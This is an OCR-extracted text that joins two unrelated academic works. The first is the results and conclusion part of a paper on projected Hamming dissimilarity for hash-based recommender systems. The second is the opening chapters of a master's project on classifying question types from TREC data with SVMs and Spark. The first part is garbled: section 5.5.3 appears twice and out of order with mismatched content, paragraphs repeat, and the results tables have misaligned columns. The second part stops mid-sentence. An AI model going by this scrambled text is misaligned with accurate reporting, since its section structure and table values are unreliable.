(NDCG) [11], which is often used to evaluate recommender systems with non-binary ratings (or relevance values). We use the average NDCG at cutoffs \(5, 10\) over all users and report the average for each cutoff value. We also compute the Reciprocal Rank (RR) of the highest rated item per user, averaged over all users, which represents how well the approaches are at getting a highly relevant item to the top of the ranked list: \[ \text{DCG@k} = \sum_{i=1}^{k} \frac{2^{\text{rel}_i} - 1}{\log_2(i + 1)}, \quad \text{NDCG@k} = \frac{\text{DCG@k}}{\text{DCG@k}^{(\text{opt})}}, \quad \text{RR} = \frac{1}{\text{rank}} \] where \(\text{rel}_i\) is the relevance of the item in position \(i\) of the ranked list of items, \(\text{DCG@k}^{(\text{opt})}\) is the DCG@k of the optimal ranking, and rank is the position of the first highest rated item for a user. These measures are averaged across all users, and following the standard notation, the mean reciprocal rank is denoted as MRR. 5.3 Baselines We learn hash codes optimized for the projected Hamming dissimilarity by incorporating it in the variational hashing model as described in Section 4 (denoted VH_{PHD}). We compare this to standard and state-of-the-art baselines (listed below) that use Hamming distance in different ways. For reference, we also include real-valued Matrix Factorization (MF) [14]. MF is not directly comparable to the hashing approaches (it learns latent real-valued vectors for users and items, instead of hash codes, and computes their inner product), but we include it as a point of reference to a real-valued collaborative filtering baseline. In fact, MF has been shown to be both more efficient and highly competitive in effectiveness compared to neural real-valued collaborative filtering approaches [21]. For a fair comparison of MF to the hashing approaches, we set the latent dimension in MF to be the same as the number of bits used in the hashing approaches. We experiment with hash code lengths of 32 and 64 bits, which correspond to the common machine word sizes. The hashing baselines are: - **DCF** [30] learns user and item hash codes through binary matrix factorization solved as a relaxed integer problem, while enforcing bit balancing and decorrelation constraints. The codes can be used directly for computing the Hamming distance. - **CCCF** [17] learns hash codes of \(k\) blocks, where each block has \(r\) bits. A floating point weight is given to each block for computing user-item similarities as a weighted sum of block-level Hamming distances. In [17], the floating point weights are mistakenly not counted towards the amount of bits used, thus leading to an unfair advantage. For a fair comparison, we count each floating point weight only as 16 bits (rather than the typical 32 or 64 bits used for single or double precision, respectively). - **MFmean** and **MFmedian** are based on matrix factorization (MF), but use each dimension’s mean or median for doing the binary quantization to bits [29]. Similar to DCF, these codes can be used directly for computing the Hamming distance. We include these to highlight the large quantization loss occurring when the hash codes are not learned directly. - **VH** is the same variational hashing model that we use for learning hash codes to be used with the projected Hamming dissimilarity, but here the codes are learned using the Hamming distance. 5.4 Tuning All hyper parameters for the baselines are tuned using the same set of possible values as in the original papers. For CCCF, we use block sizes of \(\{8, 16, 32, 64\}\) and each floating point weight counts for 16 bits. We try all possible combinations that fit within the bit budget, and if a single block is chosen, then the weight is not included in the bit calculation. Using a Titan X GPU, we train our variational hashing model from Section 4 using the Adam optimizer [15], and tune the learning rate from the set \(\{0.005, 0.001, 0.0005\}\) and the batch size from the set \(\{100, 200, 400, 800\}\) (best values in bold). As noise injection has been found beneficial to reduce over-fitting in variational neural models [26], we add Gaussian noise to the ratings during training; we initially set the variance of the Gaussian to 1 and reduce by a factor of \(1 - 10^{-4}\) in every training iteration. 5.5 Effectiveness results Table 1 reports the effectiveness results measured with NDCG and MRR, where the highest NDCG and MRR per column among the hashing-based baselines is shown in bold. Results statistically significantly better than the other Hamming distance baselines per column, using a paired two tailed t-test at the 0.05 level and Bonferroni correction, are indicated by an asterisk *. The Amazon results for CCCF are not included because the released implementation requires >128GB of RAM on this dataset due to the larger amount of items and users. There are 4 main findings in Table 1: (1) Hash codes optimized for the projected Hamming distance (VH_{PHD}) outperform all hashing baselines at all times. (2) The gains of VH_{PHD} are larger for MRR than for NDCG, which means that the bit-level importance coding impacts the very top of the ranking list (i.e., the recommendations that matter the most). (3) The best hashing baselines (CCCF, DCF, and VH) have overall similar scores, which indicates a potential ceiling in effectiveness with standard Hamming distance on hash codes. (4) MF with real-valued vectors (i.e., no hash codes) using the inner product outperforms all the hashing approaches, which is to be expected as the representational power of 32/64 floating point numbers is notably higher than that of 32/64 bits. However, VH_{PHD} bridges a large part of the effectiveness gap between the hashing baselines and MF, such that the NDCG differences between VH_{PHD} and MF in 9 out of 16 cases are below 0.01, while the MRR differences in 4 out of 8 cases are close to 0.01. 5.5.1 Impact of user difficulty. Given MF as the best performing method, we consider each user’s MF performance to be an indicator of difficulty for modeling that particular user. To see how this type of user difficulty impacts recommendation performance, we sort all users (per dataset) increasingly according to their 64-dimensional MF NDCG@10 scores (x axis), and plot the average NDCG@10 We do this for the three best Hamming distance baselines (CCCF, WWW '21, April 19–23, 2021, Ljubljana, Slovenia Christian Hansen, Casper Hansen, Jakob Grue Simonsen, and Christina Lioma) Table 1: NDCG@k and MRR scores. * marks statistically significant gains over the other Hamming distance baselines per column using Bonferroni correction. ∆% shows the gain of VH_{PHD} over the best hashing-based baseline per column. <table> <thead> <tr> <th>Hamming distance</th> <th>32 bit/dim.</th> <th>Yelp</th> <th>ML-1M</th> <th>Amazon</th> </tr> </thead> <tbody> <tr> <td>CCCF</td> <td>.7286</td> <td>.8000</td> <td>.6250</td> <td>.6867</td> </tr> <tr> <td>DCF</td> <td>.7412</td> <td>.8095</td> <td>.6368</td> <td>.6791</td> </tr> <tr> <td>MFmean</td> <td>.6912</td> <td>.7712</td> <td>.5815</td> <td>.5631</td> </tr> <tr> <td>MFmedian</td> <td>.6935</td> <td>.7734</td> <td>.5769</td> <td>.5631</td> </tr> <tr> <td>VH</td> <td>.7467</td> <td>.8132</td> <td>.6473</td> <td>.6851</td> </tr> <tr> <td><strong>Projected Hamming dissimilarity</strong></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>VH_{PHD}</td> <td>.8036*</td> <td>.8547*</td> <td>.7406*</td> <td>.7135*</td> </tr> <tr> <td>∆%</td> <td>+7.6%</td> <td>+5.1%</td> <td>+14.4%</td> <td>+3.9%</td> </tr> <tr> <td>Inner product</td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>MF</td> <td>.8071*</td> <td>.8573*</td> <td>.7513*</td> <td>.7352*</td> </tr> <tr> <td><strong>64 bit/dim.</strong></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>Hamming distance</td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>CCCF</td> <td>.7371</td> <td>.8060</td> <td>.6329</td> <td>.7016</td> </tr> <tr> <td>DCF</td> <td>.7497</td> <td>.8155</td> <td>.6574</td> <td>.7049</td> </tr> <tr> <td>MFmean</td> <td>.6912</td> <td>.7712</td> <td>.5810</td> <td>.5666</td> </tr> <tr> <td>MFmedian</td> <td>.6954</td> <td>.7752</td> <td>.5780</td> <td>.5649</td> </tr> <tr> <td>VH</td> <td>.7537</td> <td>.8185</td> <td>.6561</td> <td>.7103</td> </tr> <tr> <td><strong>Projected Hamming dissimilarity</strong></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>VH_{PHD}</td> <td>.8075*</td> <td>.8577*</td> <td>.7540*</td> <td>.7267*</td> </tr> <tr> <td>∆%</td> <td>+7.1%</td> <td>+4.8%</td> <td>+14.7%</td> <td>+2.3%</td> </tr> <tr> <td>Inner product</td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>MF</td> <td>.8096*</td> <td>.8591*</td> <td>.7573*</td> <td>.7424*</td> </tr> </tbody> </table> | Dataset properties | | | | | | | | | | |------------------|-------------|------|-------|--------| | 22,087 users | 6,040 users | 69,878 users | 158,650 users | | 14,873 items | 3,260 items | 9,708 items | 128,999 items | | 602,517 ratings | 998,539 ratings | 9,955,471 ratings | 4,701,968 ratings | | 0.18% density | 5.07% density | 1.47% density | 0.02% density | score per user smoothed by averaging the 500 nearest users (y axis). We do this for the three best Hamming distance baselines (CCCF, DCF, and VH), VH_{PHD}, and MF, which can be seen in Figure 1. We observe that VH_{PHD} outperforms all Hamming distance baselines, showing that the projected Hamming dissimilarity is robust across users. Note that, for the 20,000 users with the lowest MF, VH_{PHD} performs similarly to the real-valued MF initially, but the performance gap occurs as the number of rated items increases, especially for users with the highest number of rated items for ML-10M and Amazon. The hash codes may perform worse on users with a high number of rated items due to their limited representational power (compared to a real-valued vector), however, using the projected Hamming dissimilarity in our VH_{PHD} enables to reduce this gap significantly. In fact, our VH_{PHD} performs almost identically to MF on Yelp and most of the users on ML-10M and Amazon, except those with the highest number of rated items. 5.5.3 Impact of the average item popularity per user. We now consider how a user’s average item popularity impacts performance. We define an item’s popularity as the fraction of users who have rated the item, such that a user’s average item popularity can vary between 0.0 to 1.0, where 1.0 corresponds to only having rated items all other users have rated as well. We order users by their average item popularity and plot the NDCG@10 scores per user for 64 bit hash codes and 64-dimensional vectors for MF (See Figure 3). Generally for all methods, we observe higher performance for users with few rated items, and the performance drops as the number of rated items increases. On all datasets except Yelp, the hashing-based baselines perform similar to the real-valued MF initially, but the performance gap occurs as the number of rated items increases, especially for the users with the highest number of rated items for ML-10M and Amazon. The hash codes may perform worse on users with a high number of rated items due to their limited representational power (compared to a real-valued vector), however, using the projected Hamming dissimilarity in our VH_{PHD} enables to reduce this gap significantly. In fact, our VH_{PHD} performs almost identically to MF on Yelp and most of the users on ML-10M and Amazon, except those with the highest number of rated items. 5.5.2 Impact of the number of items per user. We investigate the impact of a user’s activity as defined by their number of rated items and plot the NDCG@10 scores per user for 64 bit hash codes and 64-dimensional vectors for MF (See Figure 2). 5.5.3 Impact of the average item popularity per user. We now consider how a user’s average item popularity impacts performance. We define an item’s popularity as the fraction of users who have rated the item, such that a user’s average item popularity can vary between 0.0 to 1.0, where 1.0 corresponds to only having rated items all other users have rated as well. We order users by their average item popularity and plot the NDCG@10 scores per user for 64 bit hash codes and 64-dimensional vectors for MF (See Figure 3). Generally for all methods, users with a high average item popularity obtain the highest performance scores, whereas users with a lower average item popularity tend to be harder to model. This can be explained by popular items appearing often during training, thus making it easier to learn high quality item representations (both binary and real-valued) matching the properties of those items. Interestingly, on Amazon and partly Yelp, the performance increases for users with the lowest average item popularity. We argue this is primarily due to the high sparsity of those datasets, meaning that some items are rated by very few users, thus making it possible for a small set of user types. Similarly to the analysis on the number of rated items in Section 5.5.2, we overall observe a similar trend that our VH significantly reduces the gap between the existing hashing-based methods and the real-valued MF. 5.5.4 Stochastic or deterministic hash codes. We investigate the effect of the sampling strategy for hash codes (see Eq. 12) during training and evaluation. The sampling can either be deterministic ($\mu^{(l)} = 0.5$) or stochastic ($\mu^{(l)}$ is sampled uniformly at random from $[0, 1]$), and does not have to be the same for training and evaluation. Figure 4 shows the performance for the four configurations of stochastic sampling or deterministic output across all datasets. We observe that stochastic training with deterministic evaluation consistently performs the best, while deterministic training and deterministic evaluation perform second best. As expected, stochastic sampling at evaluation performs significantly worse than the deterministic option (even more so when trained deterministically), as every item has a small probability of being sampled such that it has a small distance to a user, even though it has a low rating (and vice versa for highly rated items). 5.6 Efficiency results We measure the efficiency of the projected Hamming dissimilarity in terms of convergence rate (when integrated into the variational hashing model) and runtime overhead compared to the Hamming distance. 5.6.1 Convergence rate. Figure 5 shows the convergence rate for the variational hashing model using either the Hamming distance or the projected Hamming dissimilarity for 64 bit hash codes. We see that training with the projected Hamming dissimilarity significantly improves the convergence rate compared to the model... with the Hamming distance. The time to run a single batch is the same for both the Hamming distance and the projected Hamming dissimilarity (approximately 0.007 seconds for a batch size of 400), from which we conclude that using and optimizing for the projected Hamming dissimilarity not only improves NDCG and MRR, but also drastically reduces training time. We argue that the masking done in the projected Hamming dissimilarity makes the hash codes easier to learn: During training, any update in the item hash code that makes a bit flip will change the distance to all users. However, for the projected Hamming dissimilarity, an update to an item only influences the projected Hamming dissimilarity to a user if the user’s corresponding bit is 1 (as opposed to -1). Thus, the Hamming distance has a global reach for each bit, compared to a more localised reach for the projected Hamming dissimilarity, which effectively makes the hash codes easier to learn. 5.6.2 Runtime analysis. The projected Hamming dissimilarity has the same number of Boolean operations as the Hamming distance (see Eq 1 and 6), due to exploiting that the negation of the item hash codes in the projected Hamming dissimilarity can be precomputed and stored instead of the original item hash codes (i.e., requiring no additional storage). We now verify the actual runtime of both the Hamming distance and the projected Hamming dissimilarity, when considering a fixed set of hash codes. Note that this is a comparison of generated hash codes, thus all approaches using the Hamming distance (or projected Hamming dissimilarity) would have the same runtime in the following experiment. We implement both the Hamming distance and projected Hamming dissimilarity efficiently in C on a machine with a 64 bit instruction set. A test environment was made with 100M randomized 64 bit hash codes, where we measure the time taken to compute 100M Hamming distances and projected Hamming dissimilarities (averaged over 1000 repeated runs). All experiments were run on a single thread\(^\text{10}\) with all hash codes loaded in RAM. The source code was compiled with the highest optimization level utilizing all optimization flags applicable to the hardware. As reported in Table 2, the mean experiment time was 0.07401 seconds using both the Hamming distance the projected Hamming dissimilarity. Thus, the projected Hamming dissimilarity add no computational overhead, but still allows learning hash codes enabling significant effectiveness improvements as reported in Table --- \(^{10}\) We used a Intel Core i9-9940X @ 3.30GHz and had 128GB RAM available. --- ### Table 2: Runtime in seconds and runtime overhead compared to the Hamming distance for 100M computations. <table> <thead> <tr> <th></th> <th>Runtime (s)</th> <th>Runtime overhead</th> </tr> </thead> <tbody> <tr> <td>Hamming distance</td> <td>0.07401</td> <td>-</td> </tr> <tr> <td>Projected Hamming dissimilarity</td> <td>0.07401</td> <td>+0.0%</td> </tr> <tr> <td>Inner product</td> <td>4.71414</td> <td>+6269.6%</td> </tr> </tbody> </table> 1. Finally, Table 2 also reports the runtime of computing the inner product of floating point vectors of length 64: the computation time is 4.71414 seconds, thus being significantly slower than the Hamming space operations. ### 6 CONCLUSION We presented the projected Hamming dissimilarity, which allows bit-level binary importance weighting (i.e., disabling bits), to produce hash codes that accurately represent dissimilarity between data objects and allow for very efficient subsequent processing. Next, we proposed a variational hashing model for learning hash codes to be optimized for the projected Hamming dissimilarity, and experimentally evaluated it in collaborative filtering experiments. Compared to state-of-the-art hashing-based baselines, we obtained effectiveness improvements of up to +7% in NDCG and +14% in MRR, across 4 widely used datasets. These gains come at no additional cost in storage or recommendation time, as the projected Hamming distance has the same extremely fast computation time as the Hamming distance. Compared to the Hamming distance, we further find that model optimization using the projected Hamming dissimilarity significantly improves the convergence rate, thus speeding up model training. In future work, we plan to investigate the projected Hamming dissimilarity, and possible adaptions of it, in symmetric retrieval settings consisting of item-item similarity search, as opposed to asymmetric user-item search explored in this work. One such example is document similarity search, which in the hashing setting is known as Semantic Hashing\([22]\), where current work has focused on using the Hamming distance for measuring document similarities\([2, 4, 6, 8, 9, 24]\). ### REFERENCES Projected Hamming Dissimilarity for Bit-Level Importance Coding in Collaborative Filtering Figure 5: Convergence rate optimizing projected Hamming dissimilarity or Hamming distance.
{"Source-Url": "https://static-curis.ku.dk/portal/files/300920303/Projected_Hamming_Dissimilarity_for_Bit_Level.pdf", "len_cl100k_base": 10570, "olmocr-version": "0.1.53", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 37790, "total-output-tokens": 14023, "length": "2e13", "weborganizer": {"__label__adult": 0.0005140304565429688, "__label__art_design": 0.0008144378662109375, "__label__crime_law": 0.0005025863647460938, "__label__education_jobs": 0.0024547576904296875, "__label__entertainment": 0.0003299713134765625, "__label__fashion_beauty": 0.00035643577575683594, "__label__finance_business": 0.0007734298706054688, "__label__food_dining": 0.0005216598510742188, "__label__games": 0.001674652099609375, "__label__hardware": 0.0014429092407226562, "__label__health": 0.0011281967163085938, "__label__history": 0.0005173683166503906, "__label__home_hobbies": 0.0002046823501586914, "__label__industrial": 0.0006556510925292969, "__label__literature": 0.0007762908935546875, "__label__politics": 0.0003933906555175781, "__label__religion": 0.0005936622619628906, "__label__science_tech": 0.4287109375, "__label__social_life": 0.00024306774139404297, "__label__software": 0.0286712646484375, "__label__software_dev": 0.52734375, "__label__sports_fitness": 0.0003204345703125, "__label__transportation": 0.0006003379821777344, "__label__travel": 0.00033092498779296875}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 51146, 0.07479]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 51146, 0.25537]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 51146, 0.87435]], "google_gemma-3-12b-it_contains_pii": [[0, 781, false], [781, 5989, null], [5989, 11337, null], [11337, 17927, null], [17927, 23989, null], [23989, 30427, null], [30427, 36112, null], [36112, 38555, null], [38555, 44771, null], [44771, 51146, null]], "google_gemma-3-12b-it_is_public_document": [[0, 781, true], [781, 5989, null], [5989, 11337, null], [11337, 17927, null], [17927, 23989, null], [23989, 30427, null], [30427, 36112, null], [36112, 38555, null], [38555, 44771, null], [44771, 51146, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 51146, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 51146, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 51146, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 51146, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 51146, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 51146, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 51146, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 51146, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 51146, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 51146, null]], "pdf_page_numbers": [[0, 781, 1], [781, 5989, 2], [5989, 11337, 3], [11337, 17927, 4], [17927, 23989, 5], [23989, 30427, 6], [30427, 36112, 7], [36112, 38555, 8], [38555, 44771, 9], [44771, 51146, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 51146, 0.15284]]}
olmocr_science_pdfs
2024-12-09
2024-12-09
7a0fa3f9260623fd6de7b8ebca3d8fdff5684d61
Spring 2017 Question Type Recognition Using Natural Language Input Aishwarya Soni San Jose State University Follow this and additional works at: https://scholarworks.sjsu.edu/etd_projects Part of the Artificial Intelligence and Robotics Commons, and the Databases and Information Systems Commons Recommended Citation DOI: https://doi.org/10.31979/etd.8xd4-79bk https://scholarworks.sjsu.edu/etd_projects/542 This Master's Project is brought to you for free and open access by the Master's Theses and Graduate Research at SJSU ScholarWorks. It has been accepted for inclusion in Master's Projects by an authorized administrator of SJSU ScholarWorks. For more information, please contact scholarworks@sjsu.edu. Question Type Recognition Using Natural Language Input A Writing Project Report Presented to The Faculty of the Department of Computer Science San Jose State University In Partial Fulfillment Of the Requirements for the Degree Master of Science By Aishwarya Soni May 2017 The designated Project Committee Approves the Project Titled Question Type Recognition Using Natural Language Input By Aishwarya Soni APPROVED FOR THE DEPARTMENT OF COMPUTER SCIENCE SAN JOSE STATE UNIVERSITY May 2017 Dr. Thanh D. Tran (Department of Computer Science) Dr. Robert Chun (Department of Computer Science) Prof. James Casaletto (Department of Computer Science) ABSTRACT Recently, numerous specialists are concentrating on the utilization of Natural Language Processing (NLP) systems in various domains, for example, data extraction and content mining. One of the difficulties with these innovations is building up a precise Question and Answering (QA) System. Question type recognition is the most significant task in a QA system, for example, chat bots. Organization such as National Institute of Standards (NIST) hosts a conference series called as Text REtrieval Conference (TREC) series which keeps a competition every year to encourage and improve the technique of information retrieval from a large corpus of text. When a user asks a question, he/she expects a correct form of answer in reply. The undertaking of classifying a question type is to anticipate the sort of a question which is composed in common dialect. The question is then classified to one of the predefined question types. The objective of this project is to build a question type recognition system using big data and machine learning techniques. The system will comprise of a supervised learning model that will receive a question in a natural language input and it can recognize and classify a given question based upon its question type. Extracting important textual features and building a model using those features is the most important task of this project. The training and testing data has been obtained from the TREC website. Training data comprises of a corpus of unique questions and the labels associated with it. The model is tested and evaluated using the testing data. This project also achieves the goal of making a scalable system using big data technologies. ACKNOWLEDGEMENTS I would like to thank my advisor Dr. Thanh Tran, for his continuous guidance, patience, motivation and enthusiasm throughout this project. His guidance helped me throughout this project, starting from topic selection and until writing my Masters project. He was always ready to help whenever I had a question and the discussion with him gave me the direction to how to approach the problem. The experience of working with him was very valuable and I really learnt a lot throughout this project. I would like to thank my committee members Dr. Robert Chun and Prof. James Casaletto for their continuous support and valuable time to review my work and also guide me by providing valuable feedback whenever needed. Finally, I would like to thank my parents, family members and my friends for their immense support and encouragement throughout my Masters program. This would not have been possible without them. # Table of Contents 1. Introduction ......................................................................................... 8 2. Background .......................................................................................... 10 3. Related Work ..................................................................................... 11 3.1 Drawbacks of the system: ................................................................. 11 4. Proposed Solution ............................................................................... 13 5. Data .................................................................................................. 14 6. Architecture ...................................................................................... 15 6.1 Rules for Classification ................................................................ 16 6.2 Challenges while developing the model ........................................... 16 7. Implementation Using Scikit Learn ................................................... 17 7.1 Why SVM for text classification? .................................................... 17 7.2 Data Preprocessing ....................................................................... 18 7.3 Feature Extraction ....................................................................... 19 7.4 Predictive Modeling ..................................................................... 25 7.5 Application using Slack ................................................................. 29 7.5.1 Implementation of the bot ......................................................... 29 7.6 Multiprocessing Using CherryPy WSGI server ............................. 35 7.7 Load Testing the application ......................................................... 36 8. Implementation Using Apache Spark .................................................. 39 8.1 Overview of Spark Architecture .................................................... 39 8.2 Data Preprocessing ....................................................................... 41 8.3 Feature Extraction ....................................................................... 41 8.4 Predictive Modeling ..................................................................... 46 9. Spark Streaming .................................................................................. 47 9.1 Amazon Kinesis Streams ............................................................... 48 9.1.1 Amazon Kinesis Streams Architecture ................................... 49 9.1.2 Prerequisites ......................................................................... 50 9.1.3 Create a Kinesis Producer ....................................................... 51 9.2 Create a Spark Streaming Consumer ............................................ 53 9.2.1 Implementing Spark Consumer Using scikit-learn Classifier ....... 53 9.2.2 Implementing Spark Consumer Using Spark Classifier ............. 55 10. Performance Improvements .............................................................. 58 10.1 EC2 Performance Observations ................................................... 63 10.1.1 Performance Evaluation for Scikit lite Spark Streaming Application .... 63 10.1.2 Performance Evaluation for Spark Classifier Streaming Application ...... 65 1. Introduction Currently, there is huge amount of information that is available on the web and the web crawlers are required to be more insightful. Much of the time the client just needs a particular snippet of data rather than a rundown of reports. Instead of making the client to peruse the whole report, it is regularly wanted to give the client a brief and short answer. The QA systems are designed to provide an accurate answer to a particular question. An ideal QA system is the one which can answer any question in a human readable format. The study to create an accurate QA systems began in the year 1960 where the first QA system, BASEBALL was designed [1]. It was capable of answering domain specific questions, which in this case was the data of baseball games played in American league over one season. But the QA system was incapable of answering out of domain questions and that was the limitation that needed to be improved. As the years passed by, the data became huge on the web and there was a need for a system to retrieve the required information out of such a huge database. Thus, the need to develop a better QA system came into focus again. In 1999, TREC began the competition to create a better QA system. Participants in the TREC competition needed to build a model that can retrieve the precise answer, from a 10 GB of text corpus which comprises of English sentences. Designing a precise question answering system has been always a challenging task. It is different from a document retrieval system where the documents are retrieved based upon some keywords or text matching. The most challenging task in designing a QA system is to precisely find the intent behind a particular question. Natural language processing techniques were exploited to build a system which can process text in any human readable language. In order to correctly classify a question, the system needs to understand what is the intent behind the question asked, what are the constraints associated with it and what can be the possible answers to that question. For example, given a question, "What two states is Washington D.C. between?" the system needs to identify that the intent is related to some location. This project is build on the similar concept. It comprises of using advance natural language processing methods along with machine learning technique. Different classification algorithms can be used to build a model which can process the textual features extracted using natural language tool kit. Model is build using a supervised learning approach. In supervised learning we have the training data along with the labels and we build a model using this data. We later on evaluate the model using the testing data to check the accuracy on unknown sentences. The model is then scaled using Apache Spark to handle a large stream of requests from multiple users simultaneously. Project is build using several steps which includes data preprocessing, feature extraction, model training, prediction and testing and evaluating the performance which are all explained in the later sections. 2. Background Multiple techniques were implemented since 1960, when the first question answering system was developed. But the drawback for those systems was that they were binded to a particular domain. During the era of 1970s and 1980s, the interest to use natural language processing techniques got a boost and the systems were proposed based on NLP methodologies. UC Berkley came up with a project, The Berkeley Unix Consultant project (UC) [2]. They build the project on the domain of Unix operating system and came up with a system that utilized the techniques such as natural language processing, knowledge representation system and reasoning. Based upon a question, the system generated a knowledge representation and the answer was tailored based upon the knowledge the system generated. But due to lack of support for real-world scenarios, the system was not considered to be used for practical purpose. Rule based systems were proposed build on the concept of knowledge representation systems, but due to increasing amount of data, the number of rules increased and it became very difficult to manage the system with too many rules. Since the start of the QA track by TREC in 1999, the focus changed from domain specific systems to Information Retrieval (IR) systems. The most simple QA system was based on answering factoid questions, for example, "Who was the first person to land on the Moon?" This is a factual question which has the precise answer. The advent of IR systems gave birth to open-domain question answering system [2]. This is the current state of the art on which multiple automated question answering systems are build. 3. Related Work Even though there are multiple papers and works that are proposed, I am extending the work done by Xin Li and Dan Roth [3] while building the solution. They came up with a system which was based upon the concept of open-domain answering system. The model that they proposed was build using machine learning and natural language processing techniques. The model was trained using the train_5500 dataset and evaluated using TREC_10 dataset. The features such as words, pos_tags, head_chunks, named entities were extracted and a model was fitted with those features. They achieved the accuracy of 85% with the proposed model. 3.1 Drawbacks of the system: - Advanced Information Retrieval technique such as term frequency- inverse document frequency (tf-idf) was not used. TF-IDF helps in recognizing the importance of a particular word in the entire corpus of text. In this technique, the word is assigned a weighted frequency depending upon the number of times it appears in the entire corpus. It is the advanced text mining technique which is important to consider as some words appear more number of times as compared to others. According to Wikipedia, around 83% of the text based recommendation systems uses tf-idf. - Understanding the semantics is also one of the important feature that the current question answering systems are build on. It is important to consider the semantics of a sentence as a single word can be represented in multiple ways. For example, the word "destination" in a sentence can be replaced by the word "last stop". The meaning of the sentence would still remain the same. It is important to understand the semantic nature of the sentence • Ngram helps in understanding the semantics of a sentence. Ngram takes into consideration the sequence of words that occur continuously in a given sentence. The value of n defines the model. For example, if n = 2, it is called a bigram model and if n = 3, it is called as trigram. For the values of n > 3, it is generally alluded to four grams, five grams etc. For example, if we take n = 2, the bigram for the sentence, "What is the currency of the USA?" will be, o What is o is the o the currency o currency of o of the o the USA Ngrams are used as a feature in the text processing model. This is an important feature to consider as the sequence of words can identify which words are more frequently used to denote a person, or organization or location or any other entity. This improves the learning of the model which may help in improving the performance of classification. • As there are lot many users to use a system, it was necessary to make a scalable system. Scalability was missing in the system that was implemented. 4. Proposed Solution The solution proposed tends to build a more accurate question recognition system. It will incorporate the advance natural language processing techniques to create a better model. The proposed system will address the drawbacks of the previously build system. The system will provide a better accuracy and it will be tuned to support multiprocessing and scalability. The system will receive a question in an input. It will process the text by extracting important features and finally the output will be a question type. The system will be fast, scalable, efficient and will be capable enough to handle bulk of request. 5. Data The dataset has been obtained from the TREC website [4]. The training data train_5500 consists of 5500 labeled questions. The system is evaluated using TREC_10 dataset which consists of 500 new questions. The dataset consists of six broad categories of questions and fifty fine categories of questions. The output will be in the format, BROADCATEGORY:fineCategory. For example, the output of the question "Who is Zebulon Pike?" will be "HUM:desc". Each question is uniquely classified to a particular category. The following figure gives a distribution of different question categories. The numbers in the # column indicate the total number of questions available in the TREC_10 dataset in that particular category. <table> <thead> <tr> <th>Class</th> <th>#</th> <th>Class</th> <th>#</th> </tr> </thead> <tbody> <tr> <td>ABBREVI</td> <td>9</td> <td>description</td> <td>7</td> </tr> <tr> <td>abb</td> <td>1</td> <td>manner</td> <td>2</td> </tr> <tr> <td>exp</td> <td>8</td> <td>reason</td> <td>6</td> </tr> <tr> <td>ENTITY</td> <td>94</td> <td>HUMAN</td> <td>65</td> </tr> <tr> <td>animal</td> <td>16</td> <td>group</td> <td>6</td> </tr> <tr> <td>body</td> <td>2</td> <td>individual</td> <td>55</td> </tr> <tr> <td>color</td> <td>10</td> <td>title</td> <td>1</td> </tr> <tr> <td>creative</td> <td>0</td> <td>description</td> <td>3</td> </tr> <tr> <td>currency</td> <td>6</td> <td>LOCATION</td> <td>81</td> </tr> <tr> <td>dis.med.</td> <td>2</td> <td>city</td> <td>18</td> </tr> <tr> <td>event</td> <td>2</td> <td>country</td> <td>3</td> </tr> <tr> <td>food</td> <td>4</td> <td>mountain</td> <td>3</td> </tr> <tr> <td>instrument</td> <td>1</td> <td>other</td> <td>50</td> </tr> <tr> <td>lang</td> <td>2</td> <td>state</td> <td>7</td> </tr> <tr> <td>letter</td> <td>0</td> <td>NUMERIC</td> <td>118</td> </tr> <tr> <td>other</td> <td>12</td> <td>code</td> <td>0</td> </tr> <tr> <td>plant</td> <td>5</td> <td>count</td> <td>9</td> </tr> <tr> <td>product</td> <td>4</td> <td>date</td> <td>47</td> </tr> <tr> <td>religion</td> <td>0</td> <td>distance</td> <td>16</td> </tr> <tr> <td>sport</td> <td>1</td> <td>money</td> <td>3</td> </tr> <tr> <td>substance</td> <td>13</td> <td>order</td> <td>0</td> </tr> <tr> <td>symbol</td> <td>0</td> <td>other</td> <td>12</td> </tr> <tr> <td>technique</td> <td>1</td> <td>period</td> <td>8</td> </tr> <tr> <td>term</td> <td>7</td> <td>percent</td> <td>3</td> </tr> <tr> <td>vehicle</td> <td>4</td> <td>speed</td> <td>6</td> </tr> <tr> <td>word</td> <td>0</td> <td>temp</td> <td>5</td> </tr> <tr> <td>DESCRIPTION</td> <td>138</td> <td>size</td> <td>0</td> </tr> <tr> <td>definition</td> <td>123</td> <td>weight</td> <td>4</td> </tr> </tbody> </table> Figure 1. Distribution of question categories 6. Architecture The following diagram depicts the process flow for the proposed solution, ![Diagram of Architecture](image) **Figure 2. Architecture of Proposed Solution** The entire architecture can be explained as follows, 1. Question corpus is the training data, train_5500 obtained from the TREC. 2. The corpus is preprocessed by removing some unwanted characters and the processed corpus is then used to extract the features 3. Features such as Term Frequency- Inverse Document Frequency (TF-IDF), Named Entity Recognition (NER), Parts Of Speech (POS) tags, Related word vectorizer (for semantic analysis) are extracted and is given to the machine learning algorithm SVM to build the model. 4. SVM takes all the features, fits the training data. 5. The model is evaluated using TREC_10 testing dataset 6. The 